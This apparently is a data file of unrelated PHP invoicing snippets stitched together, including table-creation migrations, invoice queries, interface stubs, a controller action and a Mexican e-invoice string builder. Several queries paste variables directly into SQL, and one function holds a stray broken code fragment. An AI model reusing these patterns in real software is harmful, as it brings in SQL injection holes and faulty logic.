original_visibility tinyint(3) unsigned NULL DEFAULT NULL,\n created_on datetime DEFAULT NULL,\n created_by_id int unsigned NULL DEFAULT NULL,\n created_by_name varchar(100) DEFAULT NULL,\n created_by_email varchar(150) DEFAULT NULL,\n recipient_id int(10) unsigned NOT NULL DEFAULT 0,\n recipient_name varchar(100) DEFAULT NULL,\n recipient_email varchar(150) DEFAULT NULL,\n sent_on datetime DEFAULT NULL,\n sent_by_id int unsigned NULL DEFAULT NULL,\n sent_by_name varchar(100) DEFAULT NULL,\n sent_by_email varchar(150) DEFAULT NULL,\n closed_on datetime DEFAULT NULL,\n closed_by_id int unsigned NULL DEFAULT NULL,\n closed_by_name varchar(100) DEFAULT NULL,\n closed_by_email varchar(150) DEFAULT NULL,\n varchar_field_1 varchar(255) DEFAULT NULL,\n varchar_field_2 varchar(255) DEFAULT NULL,\n varchar_field_3 varchar(255) DEFAULT NULL,\n varchar_field_4 varchar(255) DEFAULT NULL,\n integer_field_1 int(11) NULL DEFAULT NULL,\n integer_field_2 int(11) NULL DEFAULT NULL,\n integer_field_3 int(11) NULL DEFAULT NULL,\n date_field_1 date DEFAULT NULL,\n date_field_2 date DEFAULT NULL,\n date_field_3 date DEFAULT NULL,\n datetime_field_1 datetime DEFAULT NULL,\n PRIMARY KEY (id),\n INDEX type (type),\n INDEX created_on (created_on),\n INDEX sent_on (sent_on),\n INDEX closed_on (closed_on),\n INDEX company_id (company_id),\n INDEX project_id (project_id),\n INDEX total (total)\n ) ENGINE=$engine DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;\");\n\n // create invoice object items table\n DB::execute(\"CREATE TABLE $invoice_object_items_table (\n id int unsigned NOT NULL auto_increment,\n type varchar(50) NOT NULL DEFAULT 'InvoiceObjectItem',\n parent_type varchar(50) DEFAULT NULL,\n parent_id int unsigned NULL DEFAULT NULL,\n first_tax_rate_id int(3) unsigned NOT NULL DEFAULT 0,\n second_tax_rate_id int(3) unsigned NOT NULL DEFAULT 0,\n description varchar(255) DEFAULT NULL,\n quantity decimal(13, 3) unsigned NOT NULL DEFAULT 1,\n unit_cost decimal(13, 3) NOT NULL DEFAULT 0,\n subtotal decimal(13, 3) NOT NULL DEFAULT 0,\n first_tax decimal(13, 3) NOT NULL DEFAULT 0,\n second_tax decimal(13, 3) NOT NULL DEFAULT 0,\n total decimal(13, 3) NOT NULL DEFAULT 0,\n second_tax_is_enabled tinyint(1) unsigned NOT NULL DEFAULT '0',\n second_tax_is_compound tinyint(1) unsigned NOT NULL DEFAULT '0',\n position int(11) NULL DEFAULT NULL,\n PRIMARY KEY (id),\n INDEX type (type),\n INDEX parent (parent_type, parent_id),\n INDEX parent_id (parent_id, parent_type, position)\n ) ENGINE=$engine DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;\");\n } catch (Exception $e) {\n die($e->getMessage());\n } // try\n\n return true;\n }", "public function calculate_unbilled() {\n\n // query database for this client's work items\n $query_args = array(\n 'post_type' => 'invoice_item',\n 'meta_query' => array(\n array(\n 'key' => 'client_id',\n 'value' => $this->id\n ),\n array(\n 'key' => 'invoice_item_status',\n 'value' => 'unbilled'\n )\n )\n );\n $query = new WP_Query($query_args);\n\n // initiate total variable and loop through query object\n $total = 0;\n while($query->have_posts()) {\n $query->the_post();\n $invoice_item = new InvoiceItem(get_the_id());\n $total += $invoice_item->value;\n }\n update_post_meta($this->id, 'total_unbilled', $total);\n return $total;\n }", "public function getSubtotalRefunded();", "public function getBaseDiscountInvoiced();", "function getRefundOrOrder()\n{\n\t// Fail\n}", "public function getUnpaidInvoicesList(InvoiceListingFilter $filter): Collection;", "public function getPendingInvoices(){\n\t \t $this->db->select(\"OSC.*, OC.invoice_no, OC.order_id, CO.order_number\");\n\t\t\t$this->db->from(\"order_challan_shipping AS OSC\");\n\t\t\t$this->db->join('order_challan AS OC', 'OC.challan_no = OSC.challan_no');\t\n\t\t\t$this->db->join('client_orders AS CO', 'CO.order_id = OC.order_id');\t\n\t\t\t$this->db->where(\"OSC.account_confirmed\",\"0\");\n\t\t\t$this->db->where(\"OC.invoice_no <>\",\"0\");\n\t\t\t$this->db->group_by('OC.challan_no');\t\t\t\n\t\t\t$this->db->order_by('OSC.id DESC');\n\t\t\t$query_pending_invoices = $this->db->get();\n\t\t\t//echo $this->db->last_query();die;\n\t\t\tif($query_pending_invoices->num_rows()>0)\n\t\t\t{\n\t\t\t\treturn $query_pending_invoices->result_array();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn array();\n\t\t\t}\n\t }", "public function getInvoiceModel(){}", "public function index()\n { \n $this->isNotCashier();\n return view('invoice.invoice');\n }", "function index() {\n \t\n \t// API call\n if($this->request->isApiCall()) {\n $this->response->respondWithData(Invoices::findForApi($this->logged_user), array(\n 'as' => 'invoices',\n ));\n\n // Regular request made by web browser\n } elseif($this->request->isWebBrowser()) {\n \t$this->wireframe->list_mode->enable();\n\n $invoices = Invoices::findForObjectsList($this->logged_user, null, STATE_VISIBLE);\n\n $invoice_dates_map = Invoices::getIssuedAndDueDatesMap($invoices);\n\n $this->response->assign(array(\n 'invoices' => $invoices,\n 'companies_map' => Companies::getIdNameMap($this->logged_user->visibleCompanyIds()),\n 'invoice_states_map' => $this->status_map,\n 'invoice_dates_map' => $invoice_dates_map,\n 'in_archive' => false,\n 'print_url' => Router::assemble('invoices', array('print' => 1))\n ));\n \n // Phone request\n } elseif($this->request->isPhone()) {\n \t$this->wireframe->actions->add('quotes', lang('Quotes'), Router::assemble('quotes'), array(\n 'icon' => AngieApplication::getImageUrl('icons/navbar/quotes.png', INVOICING_MODULE, AngieApplication::getPreferedInterface())\n ));\n $this->wireframe->actions->add('recurring_profiles', lang('Recurring Profiles'), Router::assemble('recurring_profiles'), array(\n 'icon' => AngieApplication::getImageUrl('icons/navbar/recurring.png', INVOICING_MODULE, AngieApplication::getPreferedInterface())\n ));\n \n $this->response->assign('formatted_invoices', Invoices::findForPhoneList($this->logged_user));\n \t\n // Tablet device\n \t} elseif($this->request->isTablet()) {\n \t\tthrow new NotImplementedError(__METHOD__);\n \n } elseif($this->request->isPrintCall()) {\n $group_by = strtolower($this->request->get('group_by', null));\n $filter_by = $this->request->get('filter_by', null);\n \n // page title\n $filter_by_completion = array_var($filter_by, 'status', null); \n if ($filter_by_completion === '0') {\n \t$page_title = lang('Drafts Invoices');\n } else if ($filter_by_completion === '1') {\n\t\t\t\t\t$page_title = lang('Issued Invoices');\n } else if ($filter_by_completion === '2') {\n\t\t\t\t\t$page_title = lang('Paid Invoices');\n } else if ($filter_by_completion === '3') {\n\t\t\t\t\t$page_title = lang('Canceled Invoices');\n } else {\n \t$page_title = lang('All Invoices');\n } // if\n\n // maps\n $map = array();\n \n switch ($group_by) {\n case 'client_id':\n $map = Companies::getIdNameMap();\n $map[0] = lang('Unknown Client');\n \n \t$getter = 'getCompanyId';\n \t$page_title.= ' ' . lang('Grouped by Client'); \n break;\n case 'status':\n $map = $this->status_map;\n $map[0] = lang('Draft');\n \n \t$getter = 'getStatus';\n \t$page_title.= ' ' . lang('Grouped by Status');\n break;\n case 'issued_on_month':\n $map = Invoices::mapIssuedOnMonth();\n $map[0] = lang('Draft');\n \n $getter = 'getIssuedOnMonth';\n \t$page_title.= ' ' . lang('Grouped by Issued On Month');\n break;\n case 'due_on_month':\n $map = Invoices::mapDueOnMonth();\n $map[0] = lang('Draft');\n \n $getter = 'getDueOnMonth';\n \t$page_title.= ' ' . lang('Grouped by Due On Month');\n break;\n } //switch\n \n // find invoices\n $invoices = Invoices::findForPrint($this->logged_user, null, $group_by, $filter_by);\n\n //use thisa to sort objects by map array\n $print_list = group_by_mapped($map,$invoices,$getter);\n \n $this->smarty->assignByRef('invoices', $print_list);\n $this->smarty->assignByRef('map', $map);\n $this->response->assign(array(\n 'group_by' => $group_by,\n 'page_title' => $page_title,\n ));\n }//if\n }", "public function getBaseShippingInvoiced();", "public function checkInvoicePaidFull(InvoiceInterface $invoice);", "public function inquire_bill_get(){\r\n// if (!$this->pronet_model->inquire_bill(1, '002', '0000000',0, null, 'E004', 3)) {\r\n if (!$this->pronet_model->inquire_bill(1, '101', '999999999999',0, null, 'E007', 10)) {//test for financial services using genesis\r\n $response = $this->pronet_model->get_response();\r\n $this->response([\r\n 'status' => FALSE,\r\n 'message' => $response['ResponseMessage'],\r\n 'response_code' => $response['ResponseCode']\r\n ], REST_Controller::HTTP_BAD_REQUEST);\r\n } else {\r\n $response = $this->pronet_model->get_response();\r\n $this->response([\r\n 'status' => TRUE,\r\n 'message' => $response['ResponseMessage'],\r\n 'response_code' => $response['ResponseCode']\r\n ], REST_Controller::HTTP_OK);\r\n }\r\n }", "function XSAInvoicingCreditdirect($InvoiceNo, $orderno, $debtorno, $TypeInvoice,$tag,$serie,$folio, &$db)\n{\n\t$charelectronic='01';\n\t$charelectronic=$charelectronic.'|'.$serie.$folio;\n\t$serieelect=$serie;\n\t$folioelect=$folio;\n\t$charelectronic=$charelectronic.'|'.$serieelect;\n\t$charelectronic=$charelectronic.'|'.$folioelect;\n\t// consulto datos de la factura\n\t$SQLInvoice = \"SELECT\n\t\t\treplace(debtortransmovs.origtrandate,'-','/') as origtrandate,\n\t\t\tSUM(abs(debtortransmovs.ovamount)) AS ovamount,\n\t\t\tSUM(abs(debtortransmovs.ovgst)) AS ovgst,\n\t\t\tdebtortransmovs.currcode,\n\t\t\tdebtortransmovs.rate as cambio,\n\t\t\tdebtortransmovs.order_,\n\t\t\treplace(debtortransmovs.trandate,'-','/') as trandate,\n\t\t\tdebtortransmovs.debtorno,\n\t\t\tcustbranch.taxid as rfc,\n\t\t\tdebtorsmaster.name,\n\t\t\tdebtorsmaster.address1,\n\t\t\tdebtorsmaster.address2,\n\t\t\tdebtorsmaster.address3,\n\t\t\tdebtorsmaster.address4,\n\t\t\tdebtorsmaster.address5,\n\t\t\tdebtortransmovs.branchcode,\n\t\t\tcustbranch.braddress1,\n\t\t\tcustbranch.braddress2,\n\t\t\tcustbranch.braddress3,\n\t\t\tcustbranch.braddress4,\n\t\t\tcustbranch.braddress5,\n\t\t\tcustbranch.brnumint,\n\t\t\tcustbranch.brnumext,\n\t\t\tcustbranch.specialinstructions,\n\t\t\tcustbranch.brpostaddr1,\n\t\t\tcustbranch.brpostaddr2,\n\t\t\tcustbranch.brpostaddr3,\n\t\t\tcustbranch.brpostaddr4,\n\t\t\tcustbranch.brpostaddr5,\n\t\t\tcustbranch.brpostaddr6,\n\t\t\tcustpais as brpostaddr7,\n\t\t\twww_users.realname,\n\t\t\tdebtortransmovs.transno,\n\t\t\tdebtortransmovs.reference,\n\t\t\tcustbranch.phoneno as telofi,\n\t\t\tdebtortrans.paymentname,\n\t\t\tdebtortrans.nocuenta,\n\t\t\tdebtortrans.observf\n\t\t\tFROM debtortransmovs\n\t\t\tINNER JOIN debtortrans ON debtortrans.type = debtortransmovs.type\n\t\t\tAND debtortrans.transno = debtortransmovs.transno\n\t\t\t,debtorsmaster,custbranch, www_users\n\t\t\tWHERE debtortransmovs.type=$TypeInvoice\n\t\t\tAND debtortransmovs.transno=$InvoiceNo\n\t\t\tAND debtortransmovs.tagref=$tag\n\t\t\tAND debtortransmovs.debtorno=debtorsmaster.debtorno\n\t\t\tAND debtortransmovs.debtorno=custbranch.debtorno\n\t\t\tAND debtortransmovs.branchcode=custbranch.branchcode\n\t\t\tAND www_users.userid = debtortransmovs.userid\n\t\t\tGROUP BY debtortransmovs.transno\";\n\t\n\t$Result=DB_query($SQLInvoice,$db);\n\tif (DB_num_rows($Result)>0) {\n\t\t{\n\t\t\t$myrow = DB_fetch_array($Result);\n\t\t\t// fecha emision\n\t\t\t$fechainvoice=$myrow['origtrandate'];\n\t\t\t$UserRegister=\"\";//$myrow['UserRegister'];\n\t\t\t$charelectronic=$charelectronic.'|'.$fechainvoice;\n\t\t\t// subtotal\n\t\t\t$rfccliente=str_replace(\"-\",\"\",$myrow['rfc']);\n\t\t\t$rfccliente=str_replace(\" \",\"\",$rfccliente);\n\t\t\t$nombre=$myrow['name'];\n\t\t\t$subtotal= FormatNumberERP($myrow['ovamount']);\n\t\t\tif ((strlen($rfccliente)<12) OR (strlen($rfccliente)>=14)){\n\t\t\t\t$rfccliente=\"XAXX010101000\";\n\t\t\t\t$nombre=\"Publico en General\";\n\t\t\t\t$subtotal= FormatNumberERP($myrow['ovamount']+$myrow['ovgst']);\n\t\t\t\t$imprimepublico=1;\n\t\t\t}\n\t\t\t$charelectronic=$charelectronic.'|'.$subtotal;\n\t\t\t// total factura\n\t\t\t$total=FormatNumberERP($myrow['ovamount']+$myrow['ovgst']);\n\t\t\t$charelectronic=$charelectronic.'|'.abs($total);\n\t\t\t// total de iva\n\t\t\t$iva=FormatNumberERP($myrow['ovgst']);\n\t\t\t// transladado\n\t\t\t$charelectronic=$charelectronic.'|'.abs($iva);\n\t\t\t// retenido\n\t\t\t$ivaret=0;\n\t\t\t$charelectronic=$charelectronic.'|'.abs($ivaret);\n\t\t\t//descuento\n\t\t\t//$descuento=number_format(0,2,'.','');\n\t\t\t$descuento='0.00';\n\t\t\t$charelectronic=$charelectronic.'|'.($descuento);\n\t\t\t//motivo descuento\n\t\t\t$charelectronic=$charelectronic.'|';\n\t\t\t// tipo de moneda\n\t\t\t$moneda=$myrow['currcode'];\n\t\t\t// CANTIDAD CON LETRAS\n\t\t\t$totaletras=abs($myrow['ovamount']+$myrow['ovgst']);\n\t\t\t$separa=explode(\".\",$totaletras);\n\t\t\t$montoctvs2 = $separa[1];\n\t\t\t$montoctvs1 = $separa[0];\n\t\t\tif ($montoctvs2>995){\n\t\t\t\t$montoctvs1=$montoctvs1+1;\n\t\t\t}\n\t\t\t$montoletra=Numbers_Words::toWords($montoctvs1,'es');\n\t\t\t$totaletras=FormatNumberERP($totaletras);\n\t\t\t$separa=explode(\".\",$totaletras);\n\t\t\t$montoctvs2 = $separa[1];\n\t\t\tif ($montoctvs2>995){\n\t\t\t\t$montoctvs2=0;\n\t\t\t}\n\t\t\t$montocentavos=Numbers_Words::toWords($montoctvs2,'es');\n\t\t\t\n\t\t\t$zeroPad = \"\";\n\t\t\tif (empty($_SESSION['Decimals'])) {\n\t\t\t\t$zeroPad = str_pad($zeroPad, 4, 0, STR_PAD_RIGHT);\n\t\t\t} else {\n\t\t\t\t$zeroPad = str_pad($zeroPad, $_SESSION['Decimals'], 0, STR_PAD_RIGHT);\n\t\t\t}\n\t\t\t\n\t\t\tif ($moneda == 'MXN') {\n\t\t\t\t$montoletra=ucwords($montoletra) . \" Pesos \". $montoctvs2 .\"/1$zeroPad M.N.\";\n\t\t\t} else {\n\t\t\t\t$montoletra=ucwords($montoletra) . \" Dolares \". $montoctvs2 .\"/1$zeroPad USD\";\n\t\t\t}\n\t\t\t$charelectronic=$charelectronic.'|'.$montoletra;\n\t\t\t// tipo moneda\n\t\t\t$charelectronic=$charelectronic.'|'.$moneda;\n\t\t\t// tipo de cambio\n\t\t\t$rate=FormatRateNumberERP($myrow['cambio']);\n\t\t\t$charelectronic=$charelectronic.'|'.$rate;\n\t\t\t// numero de orden para referencia\n\t\t\t$ordenref=$myrow['order_'];\n\t\t\t$charelectronic=$charelectronic.'|'.$ordenref;\n\t\t\t// observaciones 1: vendedores\n\t\t\t$vendedor=$myrow['realname'];\n\t\t\t$observaciones1='Vendedor: '.' '.$vendedor;\n\t\t\t$charelectronic=$charelectronic.'|'.$observaciones1;\n\t\t\t// observaciones 2\n\t\t\t$SQL=\" SELECT l.telephone,l.comments,t.tagdescription\n\t\t\t FROM legalbusinessunit l, tags t\n\t\t\t WHERE l.legalid=t.legalid AND tagref='\".$tag.\"'\";\n\t\t\t$Result= DB_query($SQL,$db);\n\t\t\tif (DB_num_rows($Result)==1) {\n\t\t\t\t$myrowtags = DB_fetch_array($Result);\n\t\t\t\t$telephone=trim($myrowtags['telephone']);\n\t\t\t\t$comments=trim($myrowtags['comments']);\n\t\t\t}\n\t\t\t$observaciones2=\" Atencion a clientes \" .$telephone;\n\t\t\t$charelectronic=$charelectronic.'|'.$observaciones2;\n\n\t\t\t$metodopago = $myrow['paymentname'];\n\t\t\tif ($metodopago==\"\") {\n\t\t\t\t$metodopago = \"No Identificado\";\n\t\t\t}\n\n\t\t\t$nocuenta = $myrow['nocuenta'];\n\t\t\tif ($nocuenta==\"\") {\n\t\t\t\t$nocuenta = \"No Identificado\";\n\t\t\t}\n\n\t\t\t// observaciones 3\n\t\t\t$observaciones3='Id Nota :'.$InvoiceNo;//' '.$comments .' usr:'.$UserRegister;\n\t\t\t$TypeInvoice.\"\n\t\t\tAND debtortransmovs.transno=\" . $InvoiceNo . \"\n\t\t\tAND debtortransmovs.tagref=\" . $tag .\n\n\t\t\t$observaciones3 = $observaciones3 . $detallerecibos . \"; \" ;// \"Este comprobante es complementario a los expedidos en la fecha y folios descritos en cada partida detallada arriba\";\n\n\t\t\t$charelectronic=$charelectronic.'|'.$observaciones3 . $detallerecibos;\n\n\t\t\t//SE AGREGA NUEVO CAMPO INFORMACION EXTRA\n\t\t\t$charelectronic=$charelectronic . '|' . '';\n\n\t\t\t// datos de la forma de pago\n\t\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'02';\n\t\t\tif(strlen($myrow['observf'])>0){\n\t\t\t\t\n\t\t\t\t$terminospago=$myrow['observf'];\n\t\t\t}else{\n\t\t\t\t$terminospago=\"Pago en una sola exhibicion\";\n\t\t\t}\n\t\t\t//echo 'terminos:'.$terminospago.' obs:'.$myrow['observf'].'<br><br>';\n\t\t\t$Tipopago=$Tipopago.' '.$terminospago;\n\t\t\t//$Tipopago=$terminospago;\n\t\t\t$charelectronic=$charelectronic.'|'.$Tipopago;\n\t\t\t// condiciones de pago\n\t\t\t$charelectronic=$charelectronic.'|---';\n\t\t\t// metodo de pago\n\t\t\t//$metodopago='Varios';\n\t\t\t$charelectronic=$charelectronic.'|'.$metodopago;\n\t\t\t// fecha vencimiento\n\t\t\t$fechavence=$myrow['trandate'];\n\t\t\t$charelectronic=$charelectronic.'|'.$fechavence;\n\t\t\t// observaciones 4\n\t\t\t$observaciones4=$nocuenta;\n\t\t\t$charelectronic=$charelectronic.'|'.$observaciones4;\n\t\t\t// datos del cliente\n\t\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'03';\n\t\t\t$branch=$myrow['debtorno'];\n\t\t\t$charelectronic=$charelectronic.'|'.$branch;\n\t\t\t$charelectronic=$charelectronic.'|'.$rfccliente;\n\t\t\t$charelectronic=$charelectronic.'|'.$nombre;\n\t\t\t//$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));\n\t\t\tif (strlen(str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi']))))))>0){\n\t\t\t\t$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\t\t}else{\n\t\t\t\t$pais=\"Mexico\";\n\t\t\t}\n\t\t\t$charelectronic=$charelectronic.'|'.$pais;\n\n\t\t}\n\t\t{\n\t\t\t$calle=\"\";\n\t\t\tif ($imprimepublico==0){\n\t\t\t\t$calle=$myrow['address1'];\n\t\t\t}\n\t\t\t$charelectronic=$charelectronic.'|'.$calle;\n\t\t\t$noext=$myrow['brnumext'];\n\t\t\t$charelectronic=$charelectronic.'|'.$noext;\n\t\t\t$noint=$myrow['brnumint'];\n\t\t\t$charelectronic=$charelectronic.'|'.$noint;\n\t\t\t$colonia=\"\";\n\t\t\tif ($imprimepublico==0){\n\t\t\t\t$colonia=$myrow['address2'];\n\t\t\t}\n\t\t\t$charelectronic=$charelectronic.'|'.$colonia;\n\t\t\t$localidad=\"\";\n\t\t\t$charelectronic=$charelectronic.'|'.$localidad;\n\t\t\t$referenciacalle=\"\";\n\t\t\t$charelectronic=$charelectronic.'|'.$referenciacalle;\n\t\t\t$municipio=\"\";\n\t\t\tif ($imprimepublico==0){\n\t\t\t\t$municipio=$myrow['address3'];\n\t\t\t}\n\t\t\t$charelectronic=$charelectronic.'|'.$municipio;\n\t\t\t$edo=\"\";\n\t\t\tif ($imprimepublico==0){\n\t\t\t\t$edo=$myrow['address4'];\n\t\t\t}\n\t\t\t$charelectronic=$charelectronic.'|'.$edo;\n\t\t\t$cp=\"\";\n\t\t\tif ($imprimepublico==0){\n\t\t\t\t$cp=$myrow['address5'];\n\t\t\t}\n\t\t}\n\t\t{\n\t\t\t$charelectronic=$charelectronic.'|'.$cp;\n\t\t\t// datos del custbranch\n\t\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'04';\n\t\t\t$branch=$myrow['branchcode'];\n\t\t\t$charelectronic=$charelectronic.'|'.$branch;\n\t\t\t//$rfc=$myrow['rfc'];\n\t\t\t//$charelectronic=$charelectronic.'|'.$rfccliente;\n\t\t\t$nombre=$myrow['name'];\n\t\t\t$charelectronic=$charelectronic.'|'.$nombre;\n\t\t\t//$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));\n\t\t\tif (strlen(str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi']))))))>0){\n\t\t\t\t$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\t\t}else{\n\t\t\t\t$pais=\"Mexico\";\n\t\t\t}\n\t\t\t$charelectronic=$charelectronic.'|'.$pais;\n\t\t\t$calle=$myrow['braddress1'];\n\t\t\t$charelectronic=$charelectronic.'|'.$calle;\n\t\t\t$noext=$myrow['brnumext'];\n\t\t\t$charelectronic=$charelectronic.'|'.$noext;\n\t\t\t$noint=$myrow['brnumint'];\n\t\t\t$charelectronic=$charelectronic.'|'.$noint;\n\t\t\t$colonia=$myrow['braddress6'];\n\t\t\t$charelectronic=$charelectronic.'|'.$colonia;\n\t\t\t$localidad=\"\";\n\t\t\t$charelectronic=$charelectronic.'|'.$localidad;\n\t\t\t$referenciacalle=\"\";\n\t\t\t$charelectronic=$charelectronic.'|'.$referenciacalle;\n\t\t\t$municipio=$myrow['braddress2'];;\n\t\t\t$charelectronic=$charelectronic.'|'.$municipio;\n\t\t\t$edo=$myrow['braddress3'];\n\t\t\t$charelectronic=$charelectronic.'|'.$edo;\n\t\t\t$cp=$myrow['braddress4'];\n\t\t\t$charelectronic=$charelectronic.'|'.$cp;\n\n\t\t}\n\t}\n\t\n\t$charelectronicEmbarque='|'.chr(13).chr(10).'09';\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['specialinstructions'];\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr1'];//calle\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|';//noext\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|';//no int\n\t\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr2'];//colonia\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr3'];//municipio\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr4'];//cp\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr5'];//estado\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr6'];//pais\n\t$charelectronicEmbarque=$charelectronicEmbarque.'|'.$myrow['brpostaddr7'];\n\t\n\t// cadena para datos de los productos\n\t// productos vendidos\n\n\t$charelectronicdetail='';\n\t$charelectronicinidet='|'.chr(13).chr(10).'05';\n\t// datos de ivas\n\t$charelectronictaxs='';\n\t$charelectronictaxsini='|'.chr(13).chr(10).'07';\n\t$stockid='Nota '.$myrow['transno'];\n\t$charelectronicdetail=$charelectronicdetail.$charelectronicinidet.'|'.$stockid;\n\t$charelectronicdetail=$charelectronicdetail.'|'.$myrow['transno'];\n\t$cantidad = 1;\n\t$stockcantidad=FormatNumberERP($cantidad);\n\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcantidad;\n\t$stockdescrip=$myrow['reference'];\n\t$charelectronicdetail=$charelectronicdetail.'|'.$stockdescrip;\n\t$stockprecio=FormatNumberERP(abs($myrow['ovamount']));\n\t$charelectronicdetail=$charelectronicdetail.'|'.$stockprecio;\n\t$stockneto=FormatNumberERP(abs($myrow['ovamount']));\n\t$charelectronicdetail=$charelectronicdetail.'|'.$stockneto;\n\t$stockunits= '';\n\t$charelectronicdetail=$charelectronicdetail.'|'.$stockunits;\n\t$stockcat='NC';\n\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcat;\n\t$ordencompra='';\n\t$charelectronicdetail=$charelectronicdetail.'|'.$ordencompra;\n\t//DESCUENTO 1\n\t$charelectronicdetail = $charelectronicdetail . '|' . '0.00';\n\t//DESCUENTO 2\n\t$charelectronicdetail = $charelectronicdetail . '|' . '0.00';\n\t//DESCUENTO 3\n\t$charelectronicdetail = $charelectronicdetail . '|' . '0.00';\n\t//SUBTOTAL\n\t$charelectronicdetail = $charelectronicdetail . '|' . FormatNumberERP(abs($myrow['ovamount']));\n\t//ADUANA\n\t$charelectronicdetail = $charelectronicdetail . '|' . '';\n\t//NUMERO DE ADUANA\n\t$charelectronicdetail = $charelectronicdetail . '|' . '';\n\t//FECHA DE INGRESO A ADUANA\n\t$charelectronicdetail = $charelectronicdetail . '|' . '';\n\tif ($imprimepublico==0){\n\t\t$impuesto=\"IVA\";\n\t\t$charelectronictaxs=$charelectronictaxs.$charelectronictaxsini.'|'.$impuesto;\n\t\t$totalcred=(abs($myrow['ovgst'])/abs($myrow['ovamount']));\n\n\n\t\t//$totalcred=$totalcred-1;\n\t\t$taxrate=FormatNumberERP($totalcred*100);\n\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxrate;\n\t\t$taxratetotal=FormatNumberERP(abs($myrow['ovgst']));\n\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxratetotal;\n\t}\n\n\t// ivas retenidos\n\t//$charelectronictaxsret='|'.chr(13).chr(10);//.'07|ISR|0.00';\n\n\tif ($charelectronictaxs != \"\"){\n\t\treturn $charelectronic.$charelectronicdetail.$charelectronictaxs.$charelectronictaxsret.$charelectronicEmbarque;\n\t}else{\n\t\treturn $charelectronic.$charelectronicdetail.$charelectronictaxsret.$charelectronicEmbarque;\n\t}\n\n}", "public function actualize()\n {\n\n $orders = $this->gdaxService->getOpenOrders();\n if (count($orders)) {\n $this->msg[] = $this->timestamp . ' .... <info>actualize orders</info>';\n $this->orderService->fixUnknownOrdersFromGdax($orders);\n }\n }", "function updateInvoicing() {\n $engine = defined('DB_CAN_TRANSACT') && DB_CAN_TRANSACT ? 'InnoDB' : 'MyISAM';\n\n try {\n if(DB::executeFirstCell(\"SELECT COUNT(*) AS count FROM \" . TABLE_PREFIX . \"modules WHERE name='invoicing'\")) {\n $invoices_table = TABLE_PREFIX . 'invoices';\n\n DB::execute(\"ALTER TABLE $invoices_table ADD based_on_type VARCHAR(50) NULL DEFAULT NULL AFTER id\");\n DB::execute(\"ALTER TABLE $invoices_table ADD based_on_id INT UNSIGNED NULL DEFAULT NULL AFTER based_on_type\");\n DB::execute(\"ALTER TABLE $invoices_table DROP company_name\");\n DB::execute(\"ALTER TABLE $invoices_table ADD allow_payments TINYINT(3) NOT NULL DEFAULT '0' AFTER created_by_email\");\n DB::execute(\"ALTER TABLE $invoices_table ADD INDEX (issued_on)\");\n DB::execute(\"ALTER TABLE $invoices_table ADD INDEX (due_on)\");\n DB::execute(\"ALTER TABLE $invoices_table ADD INDEX (closed_on)\");\n\n DB::execute(\"CREATE TABLE \" . TABLE_PREFIX . \"recurring_profiles (\n id int unsigned NOT NULL auto_increment,\n company_id int(11) NULL DEFAULT NULL,\n company_address text,\n currency_id int(11) NULL DEFAULT NULL,\n language_id int(11) NULL DEFAULT NULL,\n name varchar(150) DEFAULT NULL,\n note text,\n our_comment text,\n created_on datetime DEFAULT NULL,\n created_by_id int unsigned NULL DEFAULT NULL,\n created_by_name varchar(100) DEFAULT NULL,\n created_by_email varchar(150) DEFAULT NULL,\n start_on date DEFAULT NULL,\n frequency varchar(150) DEFAULT NULL,\n occurrences varchar(100) DEFAULT NULL,\n request_approval tinyint(1) unsigned NOT NULL DEFAULT '0',\n allow_payments varchar(100) DEFAULT NULL,\n project_id int(10) NULL DEFAULT NULL,\n state tinyint(3) NULL DEFAULT NULL,\n original_state tinyint(3) NULL DEFAULT NULL,\n triggered_number int(11) NULL DEFAULT NULL,\n last_triggered_on date DEFAULT NULL,\n next_trigger_on date DEFAULT NULL,\n visibility int NULL DEFAULT NULL,\n PRIMARY KEY (id)\n ) ENGINE=$engine DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci\");\n\n DB::execute(\"CREATE TABLE \" . TABLE_PREFIX . \"recurring_profile_items (\n id int unsigned NOT NULL auto_increment,\n recurring_profile_id int(11) NULL DEFAULT NULL,\n position int(5) NULL DEFAULT NULL,\n tax_rate_id int(11) NULL DEFAULT NULL,\n description varchar(255) DEFAULT NULL,\n quantity int(11) NULL DEFAULT NULL,\n unit_cost decimal(12, 2) DEFAULT 0,\n PRIMARY KEY (id),\n INDEX recurring_profile_id (recurring_profile_id),\n INDEX position (position)\n ) ENGINE=$engine DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci\");\n\n DB::execute(\"CREATE TABLE \" . TABLE_PREFIX . \"recurring_approval_requests (\n id int unsigned NOT NULL auto_increment,\n recurring_profile_id int(11) NULL DEFAULT NULL,\n notified_on date DEFAULT NULL,\n 